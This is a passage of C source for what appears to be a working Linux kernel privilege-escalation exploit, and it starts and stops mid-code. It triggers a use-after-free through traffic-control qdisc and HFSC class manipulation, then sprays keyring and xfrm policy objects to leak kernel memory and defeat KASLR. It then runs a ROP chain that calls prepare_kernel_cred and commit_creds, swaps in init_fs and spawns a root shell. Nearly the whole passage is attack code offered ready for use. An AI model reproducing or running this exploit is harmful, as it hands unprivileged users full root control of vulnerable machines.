	xfrm_policy_spray->length++;
}

void xfrm_policy_spray_trigger_alloc(
	struct xfrm_policy_spray *xfrm_policy_spray,
	u32 from,
	u32 to)
{
	for (u32 i = from; i < to; i++) {
		struct xfrm_userpolicy_info xfrm_userpolicy_info = {};
		memcpy(&(xfrm_userpolicy_info.sel), &(xfrm_policy_spray->params[i].sel), sizeof(struct xfrm_selector));
		memcpy(&(xfrm_userpolicy_info.lft), &(xfrm_policy_spray->params[i].lft), sizeof(struct xfrm_lifetime_cfg));
		xfrm_userpolicy_info.priority = xfrm_policy_spray->params[i].priority;
		xfrm_userpolicy_info.index = xfrm_policy_spray->params[i].index;
		xfrm_userpolicy_info.dir = xfrm_policy_spray->params[i].dir;
		xfrm_userpolicy_info.action = xfrm_policy_spray->params[i].action;

		xfrm_policy_alloc(
			xfrm_policy_spray->xfrm_socket,
			&xfrm_userpolicy_info,
			&(xfrm_policy_spray->params[i].xfrm_mark),
			xfrm_policy_spray->params[i].if_id
		);
	}
}

void xfrm_policy_spray_trigger_free(struct xfrm_policy_spray *xfrm_policy_spray)
{
	for (u32 i = 0; i < xfrm_policy_spray->length; i++) {
		struct xfrm_userpolicy_id xfrm_userpolicy_id = {};
		xfrm_userpolicy_id.index = xfrm_policy_spray->params[i].index;
		xfrm_userpolicy_id.dir = xfrm_policy_spray->params[i].dir;
		memcpy(&(xfrm_userpolicy_id.sel), &(xfrm_policy_spray->params[i].sel), sizeof(struct xfrm_selector));

		xfrm_policy_free(
			xfrm_policy_spray->xfrm_socket,
			&xfrm_userpolicy_id,
			&(xfrm_policy_spray->params[i].xfrm_mark),
			xfrm_policy_spray->params[i].if_id
		);
	}
}

void prepare_uaf(
	struct mnl_socket *route_socket,
	int packet_socket,
	int ifindex,
	u32 qdisc_A_handle,
	u32 qdisc_B_handle,
	u32 qdisc_C_handle,
	u32 classid_A
)
{
	struct tc_hfsc_qopt hfsc_qopt_A = { .defcls = 0 };
	create_hfsc_qdisc(route_socket, ifindex, TC_H_ROOT, qdisc_A_handle, &hfsc_qopt_A);
	struct tc_fifo_qopt pfifo_head_drop_qopt_C = { .limit = 0 };
	create_pfifo_head_drop_qdisc(
		route_socket,
		ifindex,
		qdisc_A_handle,
		qdisc_C_handle,
		&pfifo_head_drop_qopt_C
	);

	trigger_qdisc_enqueue(packet_socket, ifindex);
	delete_qdisc(route_socket, ifindex, qdisc_A_handle, qdisc_C_handle);
	struct tc_service_curve rsc_A = { .m1 = 1 };
	create_hfsc_class(route_socket, ifindex, qdisc_A_handle, classid_A, &rsc_A, NULL, NULL);
	struct tc_hfsc_qopt hfsc_qopt_B = { .defcls = 0 };
	create_hfsc_qdisc(route_socket, ifindex, classid_A, qdisc_B_handle, &hfsc_qopt_B);
	create_pfifo_head_drop_qdisc(
		route_socket,
		ifindex,
		qdisc_B_handle,
		qdisc_C_handle,
		&pfifo_head_drop_qopt_C
	);

	change_hfsc_qdisc_route(route_socket, ifindex, TC_H_ROOT, qdisc_A_handle, classid_A);
	trigger_qdisc_enqueue(packet_socket, ifindex);
	delete_qdisc(route_socket, ifindex, qdisc_B_handle, qdisc_C_handle);
	pfifo_head_drop_qopt_C.limit = 0xFFFFFFFF;
	create_pfifo_head_drop_qdisc(
		route_socket,
		ifindex,
		qdisc_B_handle,
		qdisc_C_handle,
		&pfifo_head_drop_qopt_C
	);

	change_hfsc_class(route_socket, ifindex, qdisc_A_handle, classid_A, &rsc_A, NULL, NULL);
	trigger_qdisc_enqueue(packet_socket, ifindex);
	trigger_qdisc_enqueue(packet_socket, ifindex);
}

static inline void trigger_uaf(struct mnl_socket *route_socket, int ifindex, u32 hfsc_classid)
{
	delete_tclass(route_socket, ifindex, TC_H_MAJ(hfsc_classid), hfsc_classid);	
}

void heap_read_primitive_init(
	struct heap_read_primitive *heap_read_primitive,
	const char *rb_tree_interface_name,
	u32 rb_tree_interface_qdisc_A_handle,
	u32 rb_tree_interface_qdisc_B_handle,
	u32 rb_tree_interface_qdisc_C_handle,
	u32 rb_tree_interface_classid_A,
	u32 rb_tree_interface_classid_B,
	u32 rb_tree_interface_classid_C,
	u32 rb_tree_interface_classid_D,
	const char *key_A_desc,
	const char *key_B_desc,
	u32 key_spray_count,
	const char *key_spray_pattern)
{
	heap_read_primitive->route_socket = Mnl_socket_open(NETLINK_ROUTE);
	Mnl_socket_bind(heap_read_primitive->route_socket, 0, MNL_SOCKET_AUTOPID);
	heap_read_primitive->raw_packet_socket = Socket(AF_PACKET, SOCK_RAW, 0);

	snprintf(heap_read_primitive->rb_tree_interface_name, sizeof(heap_read_primitive->rb_tree_interface_name),
					"%s", rb_tree_interface_name);
	heap_read_primitive->rb_tree_interface_ifindex = -1;

	heap_read_primitive->rb_tree_interface_qdisc_A_handle = rb_tree_interface_qdisc_A_handle;
	heap_read_primitive->rb_tree_interface_qdisc_B_handle = rb_tree_interface_qdisc_B_handle;
	heap_read_primitive->rb_tree_interface_qdisc_C_handle = rb_tree_interface_qdisc_C_handle;
	heap_read_primitive->rb_tree_interface_classid_A = rb_tree_interface_classid_A;
	heap_read_primitive->rb_tree_interface_classid_B = rb_tree_interface_classid_B;
	heap_read_primitive->rb_tree_interface_classid_C = rb_tree_interface_classid_C;
	heap_read_primitive->rb_tree_interface_classid_D = rb_tree_interface_classid_D;

	heap_read_primitive->key_A_desc = Strdup(key_A_desc);
	heap_read_primitive->key_B_desc = Strdup(key_B_desc);
	heap_read_primitive->key_spray_descs = calloc(
		key_spray_count,
		sizeof(*heap_read_primitive->key_spray_descs)
	);

	for (u32 i = 0; i < key_spray_count; i++) {
		int needed = snprintf(NULL, 0, "%s%u", key_spray_pattern, i) + 1;
		heap_read_primitive->key_spray_descs[i] = calloc(needed, sizeof(char));
		sprintf(heap_read_primitive->key_spray_descs[i], "%s%u", key_spray_pattern, i);
	}

	heap_read_primitive->key_A = -1;
	heap_read_primitive->key_B = -1;
	heap_read_primitive->key_spray_count = key_spray_count;
	heap_read_primitive->key_spray = calloc(key_spray_count, sizeof(*heap_read_primitive->key_spray));
	for (u32 i = 0; i < key_spray_count; i++)
		heap_read_primitive->key_spray[i] = -1;
}

void heap_read_primitive_setup_network_interfaces(struct heap_read_primitive *heap_read_primitive)
{
	create_dummy_network_interface(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_name,
		1,
		IPV6_MIN_MTU - 1
	);
	heap_read_primitive->rb_tree_interface_ifindex = if_nametoindex(heap_read_primitive->rb_tree_interface_name);
	network_interface_up(heap_read_primitive->rb_tree_interface_name);
}

bool heap_read_primitive_build_primitive(struct heap_read_primitive *heap_read_primitive)
{
	u8 user_key_payload_write_buffer[512] = {};
	u8 user_key_payload_read_buffer[512] = {};
	struct rb_node *fake_rb_node = NULL;

	prepare_uaf(
		heap_read_primitive->route_socket,
		heap_read_primitive->raw_packet_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		heap_read_primitive->rb_tree_interface_qdisc_A_handle,
		heap_read_primitive->rb_tree_interface_qdisc_B_handle,
		heap_read_primitive->rb_tree_interface_qdisc_C_handle,
		heap_read_primitive->rb_tree_interface_classid_A
	);

	trigger_uaf(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		heap_read_primitive->rb_tree_interface_classid_A
	);

	fake_rb_node = (struct rb_node *)
		(	
			user_key_payload_write_buffer + \
			struct_hfsc_class_member_el_node_offset - \
			sizeof(struct user_key_payload)
		);

	fake_rb_node->__rb_parent_color = 0 | RB_BLACK;
	fake_rb_node->rb_right = (struct rb_node *)(0);
	fake_rb_node->rb_left = (struct rb_node *)(0);

	heap_read_primitive->key_A = user_key_payload_alloc(
		heap_read_primitive->key_A_desc,
		user_key_payload_write_buffer,
		sizeof(user_key_payload_write_buffer)
	);

	struct tc_service_curve rsc_B = { .m1 = 1, .m2 = 1, .d = 0 };
	create_hfsc_class(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		heap_read_primitive->rb_tree_interface_qdisc_A_handle,
		heap_read_primitive->rb_tree_interface_classid_B,
		&rsc_B,
		NULL,
		NULL
	);

	change_hfsc_qdisc_route(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		TC_H_ROOT,
		heap_read_primitive->rb_tree_interface_qdisc_A_handle,
		heap_read_primitive->rb_tree_interface_classid_B
	);

	trigger_qdisc_enqueue(
		heap_read_primitive->raw_packet_socket,
		heap_read_primitive->rb_tree_interface_ifindex
	);

	user_key_payload_read(
		heap_read_primitive->key_A,
		user_key_payload_read_buffer,
		sizeof(user_key_payload_read_buffer)
	);

	fake_rb_node = (struct rb_node *)
		(
			user_key_payload_read_buffer + \
			struct_hfsc_class_member_el_node_offset - \
			sizeof(struct user_key_payload)
		);

	u64 hfsc_class_leak_address = (u64)fake_rb_node->rb_right - struct_hfsc_class_member_el_node_offset;

	memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));

	delete_tclass(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		TC_H_MAJ(heap_read_primitive->rb_tree_interface_classid_B),
		heap_read_primitive->rb_tree_interface_classid_B
	);

	heap_read_primitive->key_B = user_key_payload_alloc(
		heap_read_primitive->key_B_desc,
		user_key_payload_write_buffer,
		sizeof(user_key_payload_write_buffer)
	);
	
	memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));
	fake_rb_node = (struct rb_node *)
		(
			user_key_payload_write_buffer + \
			struct_hfsc_class_member_el_node_offset - \
			sizeof(struct user_key_payload)
		);

	fake_rb_node->__rb_parent_color = 0 | RB_BLACK;
	fake_rb_node->rb_right = (struct rb_node *)(0);
	fake_rb_node->rb_left = (struct rb_node *)
		(
			hfsc_class_leak_address + \
			sizeof(struct user_key_payload) - \
			(
				struct_user_key_payload_member_data_offset - \
				struct_user_key_payload_member_datalen_offset
			)
		);

	user_key_payload_free_and_wait_for_gc(&(heap_read_primitive->key_A));

	for (u32 i = 0; i < heap_read_primitive->key_spray_count; i++) {
		heap_read_primitive->key_spray[i] = user_key_payload_alloc(
			heap_read_primitive->key_spray_descs[i],
			user_key_payload_write_buffer,
			sizeof(user_key_payload_write_buffer)
		);
	}

	struct tc_service_curve rsc_C = { .m1 = 1, .m2 = 1, .d = 0 };
	create_hfsc_class(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		heap_read_primitive->rb_tree_interface_qdisc_A_handle,
		heap_read_primitive->rb_tree_interface_classid_C,
		&rsc_C,
		NULL,
		NULL
	);
	change_hfsc_qdisc_route(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		TC_H_ROOT,
		heap_read_primitive->rb_tree_interface_qdisc_A_handle,
		heap_read_primitive->rb_tree_interface_classid_C
	);
	trigger_qdisc_enqueue(heap_read_primitive->raw_packet_socket, heap_read_primitive->rb_tree_interface_ifindex);

	key_serial_t reclaim_key = -1;
	bool found_reclaim_key = false;
	for (u32 i = 0; i < heap_read_primitive->key_spray_count && !found_reclaim_key; i++) {
		user_key_payload_read(
			heap_read_primitive->key_spray[i],
			user_key_payload_read_buffer,
			sizeof(user_key_payload_read_buffer)
		);

		fake_rb_node = (struct rb_node *)
			(
				user_key_payload_read_buffer + \
				struct_hfsc_class_member_el_node_offset - \
				sizeof(struct user_key_payload)
			);
		
		if (fake_rb_node->rb_right) {
			reclaim_key = heap_read_primitive->key_spray[i];
			found_reclaim_key = true;
		}
	}

	if (!found_reclaim_key)
		return false;
	
	for (u32 i = 0; i < heap_read_primitive->key_spray_count; i++)
		if (heap_read_primitive->key_spray[i] != reclaim_key)
			user_key_payload_free(&(heap_read_primitive->key_spray[i]));
	
	struct tc_service_curve fsc_D = { .m1 = 1, .m2 = 1, .d = 0 };
	create_hfsc_class(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		heap_read_primitive->rb_tree_interface_qdisc_A_handle,
		heap_read_primitive->rb_tree_interface_classid_D,
		NULL,
		&fsc_D,
		NULL
	);

	struct tc_fifo_qopt pfifo_head_drop_qopt_C = { .limit = 0 };
	create_pfifo_head_drop_qdisc(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		heap_read_primitive->rb_tree_interface_classid_D,
		heap_read_primitive->rb_tree_interface_qdisc_C_handle,
		&pfifo_head_drop_qopt_C
	);
	change_hfsc_qdisc_route(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		TC_H_ROOT,
		heap_read_primitive->rb_tree_interface_qdisc_A_handle,
		heap_read_primitive->rb_tree_interface_classid_D
	);
	trigger_qdisc_enqueue_with_bigger_packet(heap_read_primitive->raw_packet_socket, heap_read_primitive->rb_tree_interface_ifindex);

	struct tc_service_curve rsc_D = { .m1 = 1, .m2 = 1, .d = 0 };
	change_hfsc_class(
		heap_read_primitive->route_socket,
		heap_read_primitive->rb_tree_interface_ifindex,
		heap_read_primitive->rb_tree_interface_qdisc_A_handle,
		heap_read_primitive->rb_tree_interface_classid_D,
		&rsc_D,
		NULL,
		NULL
	);

	return true;
}

long heap_read_primitive_trigger(struct heap_read_primitive *heap_read_primitive, void **leak_buffer)
{
	long n = Keyctl_read_alloc(heap_read_primitive->key_B, leak_buffer);
	return n;
}

void heap_read_primitive_reset(struct heap_read_primitive *heap_read_primitive)
{
	delete_network_interface(heap_read_primitive->route_socket, heap_read_primitive->rb_tree_interface_ifindex);
	heap_read_primitive->rb_tree_interface_ifindex = -1;
	user_key_payload_free(&(heap_read_primitive->key_A));
	user_key_payload_free(&(heap_read_primitive->key_B));
	for (u32 i = 0; i < heap_read_primitive->key_spray_count; i++)
		user_key_payload_free(&(heap_read_primitive->key_spray[i]));
}

void code_execution_primitive_init(
	struct code_execution_primitive *code_execution_primitive,
	const char *network_interface_name,
	u32 qdisc_A_handle,
	u32 qdisc_B_handle,
	u32 qdisc_C_handle,
	u32 classid_A,
	u32 classid_B,
	const char *key_A_desc,
	const char *key_B_desc,
	const char *key_spray_pattern,
	u32 key_spray_count
)
{
	code_execution_primitive->route_socket = Mnl_socket_open(NETLINK_ROUTE);
	code_execution_primitive->raw_packet_socket = Socket(AF_PACKET, SOCK_RAW, 0);
	snprintf(
		code_execution_primitive->network_interface_name,
		sizeof(code_execution_primitive->network_interface_name),
		"%s",
		network_interface_name
	);
	code_execution_primitive->qdisc_A_handle = qdisc_A_handle;
	code_execution_primitive->qdisc_B_handle = qdisc_B_handle;
	code_execution_primitive->qdisc_C_handle = qdisc_C_handle;
	code_execution_primitive->classid_A = classid_A;
	code_execution_primitive->classid_B = classid_B;
	code_execution_primitive->key_A = -1;
	code_execution_primitive->key_B = -1;
	code_execution_primitive->key_A_desc = Strdup(key_A_desc);
	code_execution_primitive->key_B_desc = Strdup(key_B_desc);
	code_execution_primitive->key_spray_descs = Calloc(
		key_spray_count,
		sizeof(*code_execution_primitive->key_spray_descs)
	);

	for (u32 i = 0; i < key_spray_count; i++) {
		int needed = snprintf(NULL, 0, "%s%d", key_spray_pattern, i) + 1;
		code_execution_primitive->key_spray_descs[i] = Calloc(needed, sizeof(char));
		sprintf(code_execution_primitive->key_spray_descs[i], "%s%d", key_spray_pattern, i);
	}

	code_execution_primitive->key_spray = Calloc(
		key_spray_count,
		sizeof(*code_execution_primitive->key_spray)
	);

	for (u32 i = 0; i < key_spray_count; i++)
		code_execution_primitive->key_spray[i] = -1;
	code_execution_primitive->key_spray_count = key_spray_count;
}

void code_execution_primitive_setup_network_interface(struct code_execution_primitive *code_execution_primitive)
{
	create_dummy_network_interface(
		code_execution_primitive->route_socket,
		code_execution_primitive->network_interface_name,
		1,
		IPV6_MIN_MTU - 1
	);
	code_execution_primitive->network_interface_ifindex = if_nametoindex(code_execution_primitive->network_interface_name);
	network_interface_up(code_execution_primitive->network_interface_name);
}

void code_execution_primitive_build_primitive(struct code_execution_primitive *code_execution_primitive)
{
	u8 user_key_payload_write_buffer[512] = {};
	u8 user_key_payload_read_buffer[512] = {};
	struct rb_node *fake_rb_node = NULL;
	u64 *fake_cl_e = NULL;
	u64 *fake_dequeue = NULL;
	struct sk_buff_head *fake_gso_skb = NULL;
	u64 *fake_qdisc = NULL;
	int exploit_process_pid = getpid();

	prepare_uaf(
		code_execution_primitive->route_socket,
		code_execution_primitive->raw_packet_socket,
		code_execution_primitive->network_interface_ifindex,
		code_execution_primitive->qdisc_A_handle,
		code_execution_primitive->qdisc_B_handle,
		code_execution_primitive->qdisc_C_handle,
		code_execution_primitive->classid_A
	);

	trigger_uaf(
		code_execution_primitive->route_socket,
		code_execution_primitive->network_interface_ifindex,
		code_execution_primitive->classid_A
	);

	fake_rb_node = (struct rb_node *)
		(
			user_key_payload_write_buffer + \
			struct_hfsc_class_member_el_node_offset - \
			sizeof(struct user_key_payload)
		);

	fake_rb_node->__rb_parent_color = 0 | RB_BLACK;
	fake_rb_node->rb_right = (struct rb_node *)(0);
	fake_rb_node->rb_left = (struct rb_node *)(0);

	fake_cl_e = (u64 *)(user_key_payload_write_buffer + struct_hfsc_class_member_cl_e_offset);
	*fake_cl_e = 0;
	code_execution_primitive->key_A = user_key_payload_alloc(
		code_execution_primitive->key_A_desc,
		user_key_payload_write_buffer,
		sizeof(user_key_payload_write_buffer)
	);

	struct tc_service_curve rsc_B = { .m1 = 1, .m2 = 1, .d = 0 };
	create_hfsc_class(
		code_execution_primitive->route_socket,
		code_execution_primitive->network_interface_ifindex,
		code_execution_primitive->qdisc_A_handle,
		code_execution_primitive->classid_B,
		&rsc_B,
		NULL,
		NULL
	);

	change_hfsc_qdisc_route(
		code_execution_primitive->route_socket,
		code_execution_primitive->network_interface_ifindex,
		TC_H_ROOT,
		code_execution_primitive->qdisc_A_handle,
		code_execution_primitive->classid_B
	);

	trigger_qdisc_enqueue(
		code_execution_primitive->raw_packet_socket,
		code_execution_primitive->network_interface_ifindex
	);

	user_key_payload_read(
		code_execution_primitive->key_A,
		user_key_payload_read_buffer,
		sizeof(user_key_payload_read_buffer)
	);

	fake_rb_node = (struct rb_node *)
		(
			user_key_payload_read_buffer + \
			struct_hfsc_class_member_el_node_offset - \
			sizeof(struct user_key_payload)
		);
	
	u64 hfsc_class_leak_address = (u64)(fake_rb_node->rb_right) - struct_hfsc_class_member_el_node_offset;

	memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));
	fake_dequeue = (u64 *)(user_key_payload_write_buffer + struct_Qdisc_member_dequeue_offset);
	*fake_dequeue = push_rdi_pop_rsp_ret; // when trigger code execution, rdi point to rop[0]
	fake_gso_skb = (struct sk_buff_head *)(user_key_payload_write_buffer + struct_Qdisc_member_gso_skb_offset);
	fake_gso_skb->next =  (struct sk_buff *)
		(
			hfsc_class_leak_address + \
			struct_Qdisc_member_gso_skb_offset + \
			sizeof(struct user_key_payload)
		);
	
	u64 *rop = (u64 *)(user_key_payload_write_buffer);
	rop[0] = add_rsp_0x8_ret;
	// rop[1] is actually sch->dequeue, so rop[0] need to 'add rsp, 8' to skip rop[1]
	rop[2] = pop_rdi_ret;
	rop[3] = init_task;
	rop[4] = prepare_kernel_cred; // root_cred = prepare_kernel_cred(&init_task)
	rop[5] = pop_rcx_ret;
	rop[6] = 0;
	rop[7] = mov_rdi_rax_rep_ret;
	rop[8] = commit_creds; // commit_creds(root_cred)
	rop[9] = pop_rdi_ret;
	rop[10] = exploit_process_pid;
	rop[11] = find_task_by_vpid; // exploit_task_struct = find_task_by_vpid(exploit_process_pid)
	rop[12] = pop_rcx_ret;
	rop[13] = struct_task_struct_member_fs_offset;
	rop[14] = add_rax_rcx_ret; // exploit_task_struct_fs = exploit_task_struct + fs_offset
	rop[15] = add_rsp_0x8_ret;
	// rop[16] is actually sch->gso_skb, so rop[15] need to 'add rsp, 8' to skip rop[16]
	rop[17] = pop_rsi_ret;
	rop[18] = init_fs;
	rop[19] = mov_qword_ptr_rax_rsi_ret; // *exploit_task_struct_fs = init_fs
	rop[20] = swapgs_restore_regs_and_return_to_usermode_nopop;
	rop[21] = 0; // dummy to keep swapgs_restore_regs_and_return_to_usermode_nopop happy
	rop[22] = 0; // dummy to keep swapgs_restore_regs_and_return_to_usermode_nopop happy
	rop[23] = (u64)(win);
	rop[24] = user_cs;
	rop[25] = user_rflags;
	rop[26] = user_rsp & 0xffffffffffffff00;
	rop[27] = user_ss;

	delete_tclass(
		code_execution_primitive->route_socket,
		code_execution_primitive->network_interface_ifindex,
		TC_H_MAJ(code_execution_primitive->classid_B),
		code_execution_primitive->classid_B
	);

	code_execution_primitive->key_B = user_key_payload_alloc(
		code_execution_primitive->key_B_desc,
		user_key_payload_write_buffer,
		sizeof(user_key_payload_write_buffer)
	);

	memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));
	fake_qdisc = (u64 *)
		(
			user_key_payload_write_buffer + \
			struct_hfsc_class_member_qdisc_offset - \
			sizeof(struct user_key_payload)
		);
	*fake_qdisc = hfsc_class_leak_address + sizeof(struct user_key_payload);
	fake_cl_e = (u64 *)
		(
			user_key_payload_write_buffer + \
			struct_hfsc_class_member_cl_e_offset - \
			sizeof(struct user_key_payload)
		);
	*fake_cl_e = 0;
	user_key_payload_free_and_wait_for_gc(&(code_execution_primitive->key_A));
	for (u32 i = 0; i < code_execution_primitive->key_spray_count; i++)
		user_key_payload_alloc(
			code_execution_primitive->key_spray_descs[i],
			user_key_payload_write_buffer,
			sizeof(user_key_payload_write_buffer)
		);
	
	struct tc_fifo_qopt pfifo_head_drop_qopt = { .limit = 0xFFFFFFFF };
	create_pfifo_head_drop_qdisc(
		code_execution_primitive->route_socket,
		code_execution_primitive->network_interface_ifindex,
		code_execution_primitive->qdisc_A_handle,
		code_execution_primitive->qdisc_C_handle,
		&pfifo_head_drop_qopt
	);
	change_hfsc_qdisc_route(
		code_execution_primitive->route_socket,
		code_execution_primitive->network_interface_ifindex,
		TC_H_ROOT,
		code_execution_primitive->qdisc_A_handle,
		code_execution_primitive->qdisc_A_handle
	);
}

void code_execution_primitive_trigger(struct code_execution_primitive *code_execution_primitive)
{
	trigger_qdisc_enqueue(
		code_execution_primitive->raw_packet_socket,
		code_execution_primitive->network_interface_ifindex
	);
	trigger_qdisc_enqueue(
		code_execution_primitive->raw_packet_socket,
		code_execution_primitive->network_interface_ifindex
	);
}

void save_state(void)
{
	__asm__(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_ss, ss;"
		"mov user_rsp, rsp;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
}

void win(void)
{
	sleep(2);
	static char *sh_args[] = {"sh", NULL};
	execve("/bin/sh", sh_args, NULL);
}


void *find_xfrm_policy_in_heap_leak_data(
	void *leak_data,
	long leak_data_size,
	const struct xfrm_policy_netlink_params *params
)
{
	long user_key_payload_buffer_size = 1024 - sizeof(struct user_key_payload);
	if (leak_data_size <= user_key_payload_buffer_size)
		return NULL;
	
	void *next_kmalloc_1k_obj = leak_data + user_key_payload_buffer_size;
	long scan_object_count = (leak_data_size - user_key_payload_buffer_size) / 1024;

	while (scan_object_count) {
		u64 xfrm_policy_timer = *(u64 *)
			(next_kmalloc_1k_obj + \
			struct_xfrm_policy_member_timer_offset + \
			struct_timer_list_member_function_offset);
		u32 priority = *(u32 *)(next_kmalloc_1k_obj + struct_xfrm_policy_member_priority_offset);
		u32 if_id = *(u32 *)(next_kmalloc_1k_obj + struct_xfrm_policy_member_if_id_offset);
		struct xfrm_mark mark = *(struct xfrm_mark *)(next_kmalloc_1k_obj + struct_xfrm_policy_member_mark_offset);
		struct xfrm_selector selector = *(struct xfrm_selector *)(next_kmalloc_1k_obj + struct_xfrm_policy_member_selector_offset);
		struct xfrm_lifetime_cfg lft = *(struct xfrm_lifetime_cfg *)(next_kmalloc_1k_obj + struct_xfrm_policy_member_lft_offset);
		u8 action = *(u8 *)(next_kmalloc_1k_obj + struct_xfrm_policy_member_action_offset);

		if (
			(xfrm_policy_timer & 0xFFFFFF) == xfrm_policy_timer_last24bits &&
			priority == params->priority &&
			(if_id & 0xFFFF0000) == 0xCAFE0000 &&
			mark.v == params->xfrm_mark.v &&
			mark.m == params->xfrm_mark.m &&
			selector.daddr.a4 == params->sel.daddr.a4 &&
			selector.saddr.a4 == params->sel.saddr.a4 &&
			selector.dport == params->sel.dport &&
			selector.dport_mask == params->sel.dport_mask &&
			selector.sport == params->sel.sport &&
			selector.sport_mask == params->sel.sport_mask &&
			selector.family == params->sel.family &&
			selector.prefixlen_d == params->sel.prefixlen_d &&
			selector.prefixlen_s == params->sel.prefixlen_s &&
			selector.proto == params->sel.proto &&
			selector.ifindex == params->sel.ifindex &&
			selector.user == params->sel.user &&
			lft.soft_byte_limit == params->lft.soft_byte_limit &&
			lft.hard_byte_limit == params->lft.hard_byte_limit &&
			lft.soft_packet_limit == params->lft.soft_packet_limit &&
			lft.hard_packet_limit == params->lft.hard_packet_limit &&
			lft.soft_add_expires_seconds == params->lft.soft_add_expires_seconds &&
			lft.hard_add_expires_seconds == params->lft.hard_add_expires_seconds &&
			lft.soft_use_expires_seconds == params->lft.soft_use_expires_seconds &&
			lft.hard_use_expires_seconds == params->lft.hard_use_expires_seconds &&
			action == params->action
		) {
			return next_kmalloc_1k_obj;
		} else {
			next_kmalloc_1k_obj += 1024;
			scan_object_count--;
		}
	}
	
	return NULL;
}

u64 find_kernel_base(void)
{
	struct heap_read_primitive heap_read_primitive = {};
	heap_read_primitive_init(
		&heap_read_primitive,
		"rb_tree",
		0xAAAA0000,
		0xBBBB0000,
		0xCCCC0000,
		0xAAAA0000 | 0xAAAA,
		0xAAAA0000 | 0xBBBB,
		0xAAAA0000 | 0xCCCC,
		0xAAAA0000 | 0xDDDD,
		"keyA",
		"keyB",
		16,
		"keyspray"
	);

	struct xfrm_policy_netlink_params params = {};
	inet_pton(AF_INET, "192.168.1.100", &(params.sel.daddr.a4));
	inet_pton(AF_INET, "192.168.1.1", &(params.sel.saddr.a4));
	params.sel.dport = htobe16(4444);
	params.sel.dport_mask = htobe16(0xFFFF);
	params.sel.sport = htobe16(3333);
	params.sel.sport_mask = htobe16(0xFFFF);
	params.sel.family = AF_INET;
	params.sel.prefixlen_d = 32;
	params.sel.prefixlen_s = 32;
	params.sel.proto = IPPROTO_UDP;
	params.sel.ifindex = 1234;
	params.sel.user = 1234;
	params.lft.soft_byte_limit = ~0UL;
	params.lft.hard_byte_limit = ~0UL;
	params.lft.soft_packet_limit = ~0UL;
	params.lft.hard_packet_limit = ~0UL;
	params.lft.soft_add_expires_seconds = 0;
	params.lft.hard_add_expires_seconds = 0;
	params.lft.soft_use_expires_seconds = 0;
	params.lft.hard_use_expires_seconds = 0;
	params.priority = 0xCAFEBABE;
	params.dir = XFRM_POLICY_OUT;
	params.action = XFRM_POLICY_BLOCK;
	params.xfrm_mark.v = 0xCAFEBABE;
	params.xfrm_mark.m = 0xCAFEBABE;

	u32 xfrm_policy_spray_count = 32;
	struct xfrm_policy_spray xfrm_policy_spray = {};
	xfrm_policy_spray_init(&xfrm_policy_spray, xfrm_policy_spray_count);

	for (u32 i = 0; i < xfrm_policy_spray_count; i++) {
		params.if_id = 0xCAFE0000 + i;
		params.index = (0xCAFE0000 + (i << 16)) | XFRM_POLICY_OUT;
		xfrm_policy_spray_insert_netlink_params(&xfrm_policy_spray, &params);
	}

	u64 kernel_base = 0;
	bool found_kernel_base = false;
	while (!found_kernel_base) {
		xfrm_policy_spray_trigger_alloc(&xfrm_policy_spray, 0, xfrm_policy_spray_count / 2);
		bool heap_read_primitive_built_success = false;
		while (!heap_read_primitive_built_success) {
			heap_read_primitive_setup_network_interfaces(&heap_read_primitive);
			heap_read_primitive_built_success = heap_read_primitive_build_primitive(&heap_read_primitive);
			if (!heap_read_primitive_built_success)
				heap_read_primitive_reset(&heap_read_primitive);
		}

		xfrm_policy_spray_trigger_alloc(&xfrm_policy_spray, xfrm_policy_spray_count / 2, xfrm_policy_spray_count);
		void *leak_buffer = NULL;
		long leak_buffer_size = heap_read_primitive_trigger(&heap_read_primitive, &leak_buffer);
		void *xfrm_policy_leak = find_xfrm_policy_in_heap_leak_data(leak_buffer, leak_buffer_size, &params);
		if (xfrm_policy_leak) {
			u64 xfrm_policy_timer_leak_address = *(u64 *)
				(
					xfrm_policy_leak + \
					struct_xfrm_policy_member_timer_offset + \
					struct_timer_list_member_function_offset
				);
			kernel_base = xfrm_policy_timer_leak_address - xfrm_policy_timer_offset_from_kernel_base;
			found_kernel_base = true;
		} else {
			heap_read_primitive_reset(&heap_read_primitive);
			xfrm_policy_spray_trigger_free(&xfrm_policy_spray);
		}
	}

	heap_read_primitive_reset(&heap_read_primitive);
	xfrm_policy_spray_trigger_free(&xfrm_policy_spray);
	return kernel_base;
}

void update_kernel_address(u64 kernel_base)
{
	init_task += kernel_base;
	init_fs += kernel_base;
	push_rdi_pop_rsp_ret += kernel_base;
	mov_qword_ptr_rax_rsi_ret += kernel_base;
	mov_rdi_rax_rep_ret += kernel_base;
	pop_rdi_ret += kernel_base;
	pop_rcx_ret += kernel_base;
	pop_rsi_ret += kernel_base;
	add_rax_rcx_ret += kernel_base;
	add_rsp_0x8_ret += kernel_base;
	prepare_kernel_cred += kernel_base;
	commit_creds += kernel_base;
	find_task_by_vpid += kernel_base;
	swapgs_restore_regs_and_return_to_usermode_nopop += kernel_base;
}

void do_exploit(void)
{
	save_state();
	pin_on_cpu(0);
	setup_namespace();
	u64 kernel_base = find_kernel_base();
	update_kernel_address(kernel_base);
	
	struct code_execution_primitive code_execution_primitive = {};
	code_execution_primitive_init(
		&code_execution_primitive,
		"code",
		0xAAAA0000,
		0xBBBB0000,
		0xCCCC0000,
